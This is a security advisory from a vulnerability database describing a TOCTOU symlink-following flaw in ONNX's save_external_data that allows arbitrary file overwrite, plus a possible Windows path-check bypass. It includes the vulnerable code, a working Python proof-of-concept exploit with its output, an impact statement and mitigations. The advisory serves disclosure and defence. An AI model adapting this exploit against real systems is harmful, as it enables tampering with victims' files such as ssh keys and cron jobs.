Vulnerability Database

357,494

Total vulnerabilities in the database

ONNX: TOCTOU arbitrary file read/write in save_external_dat — onnx

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

The save_external_data method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems. Regarding the TOCTOU, an attacker seems to be able to overwrite victim's files via symlink following under the same privilege scope. The mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188

Details

TOCTOU

The vulnerable code pattern:

# CHECK - Is this a file? if not os.path.isfile(external_data_file_path): # Line 228-229: USE #1 - Create if it doesn't exist with open(external_data_file_path, "ab"): pass # Open for writing with open(external_data_file_path, "r+b") as data_file: # Lines 233-243: Write tensor data data_file.seek(0, 2) if info.offset is not None: file_size = data_file.tell() if info.offset > file_size: data_file.write(b"\0" * (info.offset - file_size)) data_file.seek(info.offset) offset = data_file.tell() data_file.write(tensor.raw_data)

There is a time gap between os.path.isfile and open with no atomic file creation flags (e.g. O_EXCEL | O_CREAT) allowing the attacker to create a symlink that is being followed (absence of O_NOFOLLOW), between these two calls. By combining these, the attack is possible as shown below in the PoC section.

Bypass

There is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) alloing absolute paths like C:\ (only 1 part):

if location_path.is_absolute() and len(location_path.parts) > 1

This may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).

PoC

Install the dependencies and run this:

mport os import sys import tempfile import numpy as np import onnx from onnx import TensorProto, helper from onnx.numpy_helper import from_array # Create a temporary directory for our poc with tempfile.TemporaryDirectory() as tmpdir: print(f"[*] Working directory: {tmpdir}") # Create a "sensitive" file that we'll overwrite sensitive_file = os.path.join(tmpdir, "sensitive.txt") with open(sensitive_file, 'w') as f: f.write("SENSITIVE DATA - DO NOT OVERWRITE") original_content = open(sensitive_file, 'rb').read() print(f"[*] Created sensitive file: {sensitive_file}") print(f" Original content: {original_content}") # Create a simple ONNX model with a large tensor print("[*] Creating ONNX model with external data...") # Create a tensor with data > 1KB (to trigger external data) large_array = np.ones((100, 100), dtype=np.float32) # 40KB tensor large_tensor = from_array(large_array, name='large_weight') # Create a minimal model model = helper.make_model( helper.make_graph( [helper.make_node('Identity', ['input'], ['output'])], 'minimal_model', [helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])], [helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])], [large_tensor] ) ) # Save model with external data to create the external data file model_path = os.path.join(tmpdir, "model.onnx") external_data_name = "data.bin" external_data_path = os.path.join(tmpdir, external_data_name) onnx.save_model( model, model_path, save_as_external_data=True, all_tensors_to_one_file=True, location=external_data_name, size_threshold=1024 ) print(f"[+] Model saved: {model_path}") print(f"[+] External data created: {external_data_path}") # Now comes the attack: replace the external data file with a symlink print("[!] ATTACK: Replacing external data file with symlink...") # Remove the legitimate external data file if os.path.exists(external_data_path): os.remove(external_data_path) print(f" Removed: {external_data_path}") # Create symlink pointing to sensitive file os.symlink(sensitive_file, external_data_path) print(f" Created symlink: {external_data_path} -> {sensitive_file}") # Now load and re-save the model, which will trigger the vulnerability print("Loading model and saving with external data...") try: # Load the model (without loading external data) loaded_model = onnx.load(model_path, load_external_data=False) # Modify the model slightly (to ensure we write new data) loaded_model.graph.initializer[0].raw_data = large_array.tobytes() # Save again - this will call save_external_data() and follow the symlink onnx.save_model( loaded_model, model_path, save_as_external_data=True, all_tensors_to_one_file=True, location=external_data_name, size_threshold=1024 ) except Exception as e: print(f"[-] Error: {e}") # Check if the sensitive file was overwritten print("[*] Checking if sensitive file was modified...") modified_content = open(sensitive_file, 'rb').read() print(f" Original size: {len(original_content)} bytes") print(f" Current size: {len(modified_content)} bytes") print(f" Original content: {original_content[:50]}") print(f" Current content: {modified_content[:50]}...") print() if modified_content != original_content: print("[!] Success!") else: print("[-] Failure")

Output:

[*] Working directory: /tmp/tmpqy7z88_l [*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt Original content: b'SENSITIVE DATA - DO NOT OVERWRITE' [*] Creating ONNX model with external data... [+] Model saved: /tmp/tmpqy7z88_l/model.onnx [+] External data created: /tmp/tmpqy7z88_l/data.bin [!] ATTACK: Replacing external data file with symlink... Removed: /tmp/tmpqy7z88_l/data.bin Created symlink: /tmp/tmpqy7z88_l/data.bin -> /tmp/tmpqy7z88_l/sensitive.txt Loading model and saving with external data... [*] Checking if sensitive file was modified... Original size: 33 bytes Current size: 40033 bytes Original content: b'SENSITIVE DATA - DO NOT OVERWRITE' Current content: b'SENSITIVE DATA - DO NOT OVERWRITE\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00'...

Successfully overwritting the "sensitive data" file.

Impact

The impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.

Mitigations

  1. Atomic file creation
  2. Symlink protection
  3. Path canonicalization
  • Published: Apr 1, 2026
  • Updated: Apr 2, 2026
  • GHSA: GHSA-q56x-g2fj-4rj6
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: High
  • Score: 7.1
  • AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

CWEs:

OWASP TOP 10:

Software From Fixed in
Python icon onnx - 1.21.0

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